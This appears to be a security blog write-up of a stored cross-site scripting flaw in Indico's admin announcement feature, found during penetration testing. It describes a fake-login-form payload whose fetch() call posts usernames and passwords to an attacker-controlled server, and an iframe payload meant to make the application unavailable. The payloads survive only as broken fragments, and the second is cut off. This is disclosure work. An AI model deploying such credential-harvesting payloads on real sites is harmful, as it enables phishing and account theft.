Introduction

According to this paper, %65 of web applications suffer from cross-site scripting vulnerabilities. I am going to explain the Stored Cross-Site Scripting (XSS) vulnerability I found in an open-source project in this article.

The main causes of stored cross-site scripting (stored XSS) vulnerabilities in web applications are neglect to implement security measures at the application’s endpoints and inadequate security measures that can be bypassed. The first cause, overlook to implement security measures at the application’s endpoints, is the case in the Indico open-source web application for one specific endpoint. Before talking about Indico and the emergence of the vulnerability, it is useful to understand what a Stored Cross-Site Scripting vulnerability is.

Cross-Site Scripting (XSS)

Stored cross-site scripting (stored XSS) is a type of web application vulnerability that allows an attacker to inject malicious code into a web page viewed by other users. The attacker can exploit a lack of proper input validation and sanitization before storing user input in a database and after displaying it to the user.

What have I found?

Recently, I discovered a Stored XSS vulnerability in an open-source project Indico. I have found the Stored XSS vulnerability during web application penetration testing, a process used to identify and exploit vulnerabilities in web applications.

I found this vulnerability in a specific feature of the application that allowed administrators to submit announcements that appear on all pages of the application. The application was not properly validating and sanitizing user input before it was displayed on the web page. This could allow an administrator to inject malicious code, such as JavaScript or iframe, into announcements. The announcements are displayed on all pages of the application therefore, the malicious code would be executed by all users who visit any application page.

Exploring the Attack Surface

The application is not vulnerable to stealing users’ cookies because the session cookie has the ‘HttpOnly’ flag set as in the image below. This prevents the cookie to be fetched via JavaScript and therefore stealing with XSS.

If you want to check if your web application uses session cookies with the security flag, follow these steps:

In the first step click three dots in the upper-left corner.

After that click the ‘More Tools’ option in the drop-down menu and the ‘Developers Tools’ option after that.

Finally, click the ‘Application’ option in the developer’s tools and click ‘Cookies’ in the down-left corner. After that, you will see if the ‘HttpOnly’, ‘Secure’, and ‘SameSite’ flags are set for session cookies or not.

First Attack Scenario – Stealing User’s Username and Passwords

One interesting attack scenario involving this vulnerability is the stealing of a user’s password. An attacker could inject JavaScript in announcements disguised as a login form to steal the user’s password upon viewing the comment. Let’s dive into this attack scenario deeper!

An attacker will need an administrator user and a web server with access to the log or use services that log requests and responses such as Burp Suite Collaborator or RequestBin.com. I am using Burp Suite Collaborator as a demonstration.

1.1. After logging in as an administrator and navigating to the ‘Announcement’ part in the administrator panel, the attacker enters the following payload with my Burp Collaborator Address to the ‘Message’ field.

The Payload That Steals Username and Password via Stored XSS

Understand the devastating consequences of a malicious payload and see for yourself how an attacker can obtain sensitive information, such as usernames and passwords. In this section, we’ll delve into the inner workings of the exploit code.

Payloads Description

The payload is designed to steal the victim’s username and password by sending their credentials to a remote server controlled by the attacker.

Stored Cross-Site Scripting  payload

The payload consists of two input fields: a username field and a password field.

The first input field, “”, creates a blank box text field where the user can enter their username.

The second input field, “’,{ method:’POST’, mode: ‘no-cors’, body:username.value+’:’+this.value });”>” creates a password field where the user can enter their password. It also contains an “onchange” event that is triggered when the user types in the password field and then moves to the next field or press enter.

The “onchange” event triggers a JavaScript function, “fetch()”, which sends a request to a remote server controlled by the attacker. The “fetch()” function has several parameters and where all magic happens:

The “fetch()” Function

The first parameter is the URL of the attacker-controlled server, which is specified in this payload as “https://”. I replaced this placeholder with my actual Burp Collaborator server’s URL.

The second parameter is an object that specifies the type of request and some additional options. In this case, the request is a “POST” request.

The third parameter is the “body” of the request, which is the concatenation of the values of the “username” and “password” fields, separated by a colon. The fetch function will send the concatenation of the two fields to the Burp Collaborator server. We can see it in image 1.5. down below.

It’s important to note that this payload is only an example and actual payloads can be much more complex such as creating an overlay with the login panel covering the rest of the application completely or using different techniques to achieve the same goal.

1.3. After the attacker clicks enable and saves the announcement message, a fake login panel pops up on every page for every logged-in user.

1.4. When another user logs in to the application the fake login panel presents on their page:

1.5. Once the victim user fills in the fake login panel, the attacker sees their username and password in the Burp Collaborator Client as a request:

Second Attack Scenario – Crashing the Application

Another possible attack scenario involving this vulnerability is merging it with a cross-frame injection vulnerability to make the application unavailable. By injecting malicious code into a comment that would redirect the user to a different website or preventing other components from loading to the page, an attacker could make the application unavailable to users. Let’s dive into this attack scenario deeper when we are already here!

2.1. For the second attack an attacker logs in as an administrator and navigates to the ‘Announcement’ part in the Administrator panel and enters the following iframe payload like the previous attack:

Iframe payload for crashing applications availability:

">